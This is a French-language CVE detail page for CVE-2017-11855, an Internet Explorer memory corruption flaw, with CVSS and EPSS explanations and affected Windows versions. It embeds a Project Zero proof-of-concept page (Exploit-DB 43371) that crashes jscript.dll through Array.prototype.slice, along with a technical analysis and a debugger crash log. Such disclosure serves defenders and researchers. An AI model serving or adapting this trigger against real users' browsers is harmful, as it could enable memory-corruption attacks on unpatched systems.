CVE-2017-11855 : Détail

CVE-2017-11855

7.5
/
Haute
Overflow
87.65%V3
Network
2017-11-15
03h00 +00:00
2024-09-16
19h01 +00:00
CVE.org
NVD
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Descriptions du CVE

Internet Explorer in Microsoft Windows 7 SP1, Windows Server 2008 SP2 and R2 SP1, Windows 8.1 and Windows RT 8.1, Windows Server 2012 and R2, Windows 10 Gold, 1511, 1607, 1703, 1709, Windows Server 2016 and Windows Server, version 1709 allows an attacker to gain the same user rights as the current user, due to how Internet Explorer handles objects in memory, aka "Internet Explorer Memory Corruption Vulnerability". This CVE ID is unique from CVE-2017-11856.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 7.5 HIGH CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 7.6 AV:N/AC:H/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 43371

Date de publication : 2017-12-18 23h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1378 There is an uninitialized variable vulnerability in jscript.dll. This issue could potentially be exploited through multiple vectors: - By opening a malicious web page in Internet Explorer. - [currently untested] An attacker on the local network could exploit this issue by posing as a WPAD (Web Proxy Auto-Discovery) host and sending a malicious wpad.dat file to the victim. The issue has been verified on 64-bit Windows 10 with the most recent patches applied. PoC for Internet Explorer (tested on IE 11 with a 64-bit tab process. Might no work very reliably due to the nature of the issue, please see the technical details below): ============================================ --> <!-- saved from url=(0014)about:internet --> <meta http-equiv="X-UA-Compatible" content="IE=8"></meta> <script language="Jscript.Encode"> var x = new URIError(new Array(), undefined, undefined); String.prototype.localeCompare.call(x, new Date(0, 0, 0, 0, 0, 0, undefined)); Array.prototype.slice.call(1); </script> <!-- ============================================ Technical details: The issue is in jscript!JsArraySlice (Array.prototype.slice.call in the PoC above, all other lines are just fuzzer generated junk that puts the stack into a 'correct' state needed to demonstrate the issue). JsArraySlice looks approximately like: int JsArraySlice(CSession *session, VAR *this, VAR *ret, int num_args, VAR *args) { VAR object; VAR length; NameTbl *nametable; if(!ConvertToObject(session, this, &object, 0)) { //set error and return } if(!IsJSObject(&object, &nametable)) { //set error and return } if(nametable->GetVal(&g_sym_length, &length) < 0) { //set error and return } if(length->type != TYPE_INT) { ConvertToScalar(session, &length, &length, 3, 1); } ... } The issue is that JsArraySlice() expects NameTBL::GetVal() to return an integer <0 if the input object does not contain the 'length' property. However in this case NameTBL::GetVal() will actually return 1. Also, in this case, the length VAR is *not* going to be initialized. Thus if NameTBL::GetVal() returns 1, ConvertToScalar() is going to be called with invalid arguments. Depending on the perceived (uninitialized) type of length VAR, this might lead to exploitable conditions including calling a virtual method on the uninitialized pointer (see below). Debug log: ============================================ (a3c.bd8): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. jscript!InvokeDispatch+0xbd: 00007ffa`e45a45fd 488b4008 mov rax,qword ptr [rax+8] ds:0000004e`00610056=???????????????? 0:014> r rax=0000004e0061004e rbx=000000f42f0fb400 rcx=00007ffae4630904 rdx=0000000000000081 rsi=0000000000000002 rdi=00007ffae4630904 rip=00007ffae45a45fd rsp=000000f42f0fb1e0 rbp=000000f42f0fb2e0 r8=000000f42f0fb230 r9=000000f42f0fb2a0 r10=0000000000000080 r11=5555555511140000 r12=0000000000000000 r13=0000000000000000 r14=000002a7533c5a70 r15=0000000000000000 iopl=0 nv up ei pl zr na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 jscript!InvokeDispatch+0xbd: 00007ffa`e45a45fd 488b4008 mov rax,qword ptr [rax+8] ds:0000004e`00610056=???????????????? 0:014> k # Child-SP RetAddr Call Site 00 000000f4`2f0fb1e0 00007ffa`e45b548f jscript!InvokeDispatch+0xbd 01 000000f4`2f0fb380 00007ffa`e45adc2d jscript!AutBlock::AddRef+0x101f 02 000000f4`2f0fb3d0 00007ffa`e45e048f jscript!ConvertToScalar+0x51 03 000000f4`2f0fb440 00007ffa`e458265a jscript!JsArraySlice+0x10f 04 000000f4`2f0fb540 00007ffa`e458b015 jscript!NatFncObj::Call+0x10a 05 000000f4`2f0fb5f0 00007ffa`e458d75b jscript!NameTbl::InvokeInternal+0x135 06 000000f4`2f0fb6b0 00007ffa`e45d4d80 jscript!VAR::InvokeByDispID+0x87 07 000000f4`2f0fb700 00007ffa`e458265a jscript!JsFncCall+0xb0 08 000000f4`2f0fb780 00007ffa`e458b015 jscript!NatFncObj::Call+0x10a 09 000000f4`2f0fb830 00007ffa`e458cce0 jscript!NameTbl::InvokeInternal+0x135 0a 000000f4`2f0fb8f0 00007ffa`e45a7f18 jscript!VAR::InvokeByName+0x580 0b 000000f4`2f0fbaf0 00007ffa`e45b562b jscript!VAR::InvokeDispName+0x60 0c 000000f4`2f0fbb70 00007ffa`e4594ccf jscript!AutBlock::AddRef+0x11bb 0d 000000f4`2f0fbbc0 00007ffa`e45972cd jscript!CScriptRuntime::Run+0x665f 0e 000000f4`2f0fc520 00007ffa`e4597428 jscript!ScrFncObj::CallWithFrameOnStack+0x15d 0f 000000f4`2f0fc720 00007ffa`e4588b15 jscript!ScrFncObj::Call+0xb8 10 000000f4`2f0fc7c0 00007ffa`e45861eb jscript!CSession::Execute+0x265 11 000000f4`2f0fc920 00007ffa`e4586929 jscript!COleScript::ExecutePendingScripts+0x28b 12 000000f4`2f0fca00 00007ffa`e4586a06 jscript!COleScript::ParseScriptTextCore+0x239 13 000000f4`2f0fcaf0 00007ffa`ae439138 jscript!COleScript::ParseScriptText+0x56 14 000000f4`2f0fcb50 00007ffa`ae4f8f7d MSHTML!CActiveScriptHolder::ParseScriptText+0xb8 15 000000f4`2f0fcbd0 00007ffa`ae4f827c MSHTML!CScriptCollection::ParseScriptText+0x26d 16 000000f4`2f0fccb0 00007ffa`ae465a63 MSHTML!CScriptData::CommitCode+0x3b4 17 000000f4`2f0fce80 00007ffa`ae4657df MSHTML!CScriptData::Execute+0x267 18 000000f4`2f0fcf40 00007ffa`ae357ea1 MSHTML!CHtmScriptParseCtx::Execute+0xbf 19 000000f4`2f0fcf70 00007ffa`ae3b8880 MSHTML!CHtmParseBase::Execute+0x181 1a 000000f4`2f0fd000 00007ffa`ae3b846a MSHTML!CHtmPost::Broadcast+0x50 1b 000000f4`2f0fd040 00007ffa`ae467fae MSHTML!CHtmPost::Exec+0x39a 1c 000000f4`2f0fd240 00007ffa`ae469324 MSHTML!CHtmPost::Run+0x32 1d 000000f4`2f0fd270 00007ffa`ae463b99 MSHTML!PostManExecute+0x70 1e 000000f4`2f0fd2f0 00007ffa`ae463a60 MSHTML!PostManResume+0xa1 1f 000000f4`2f0fd330 00007ffa`ae44523c MSHTML!CHtmPost::OnDwnChanCallback+0x40 20 000000f4`2f0fd380 00007ffa`ae386e21 MSHTML!CDwnChan::OnMethodCall+0x1c 21 000000f4`2f0fd3b0 00007ffa`ae3adcb9 MSHTML!GlobalWndOnMethodCall+0x251 22 000000f4`2f0fd460 00007ffa`f1f61c24 MSHTML!GlobalWndProc+0xf9 23 000000f4`2f0fd4f0 00007ffa`f1f6156c USER32!UserCallWinProcCheckWow+0x274 24 000000f4`2f0fd650 00007ffa`afa629f7 USER32!DispatchMessageWorker+0x1ac 25 000000f4`2f0fd6d0 00007ffa`afa9ed04 IEFRAME!CTabWindow::_TabWindowThreadProc+0x5e7 26 000000f4`2f0ff920 00007ffa`e42c9586 IEFRAME!LCIETab_ThreadProc+0x3a4 27 000000f4`2f0ffa50 00007ffa`c8b92ed9 iertutil!_IsoThreadProc_WrapperToReleaseScope+0x16 28 000000f4`2f0ffa80 00007ffa`f2268364 IEShims!NS_CreateThread::AutomationIE_ThreadProc+0x89 29 000000f4`2f0ffad0 00007ffa`f43e7091 KERNEL32!BaseThreadInitThunk+0x14 2a 000000f4`2f0ffb00 00000000`00000000 ntdll!RtlUserThreadStart+0x21 0:014> u rip jscript!InvokeDispatch+0xbd: 00007ffa`e45a45fd 488b4008 mov rax,qword ptr [rax+8] 00007ffa`e45a4601 ff15c14d0700 call qword ptr [jscript!_guard_dispatch_icall_fptr (00007ffa`e46193c8)] 00007ffa`e45a4607 488d442458 lea rax,[rsp+58h] 00007ffa`e45a460c 458bc4 mov r8d,r12d 00007ffa`e45a460f 4889442448 mov qword ptr [rsp+48h],rax 00007ffa`e45a4614 488bd7 mov rdx,rdi 00007ffa`e45a4617 488d4580 lea rax,[rbp-80h] 00007ffa`e45a461b 498bce mov rcx,r14 ============================================ -->

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 11

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_10 >> Version 1709

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8.1 >> Version -

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 10

Microsoft>>Windows_server_2012 >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 9

Microsoft>>Windows_server_2008 >> Version -

Références

https://www.exploit-db.com/exploits/43371/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/101751
Tags : vdb-entry, x_refsource_BID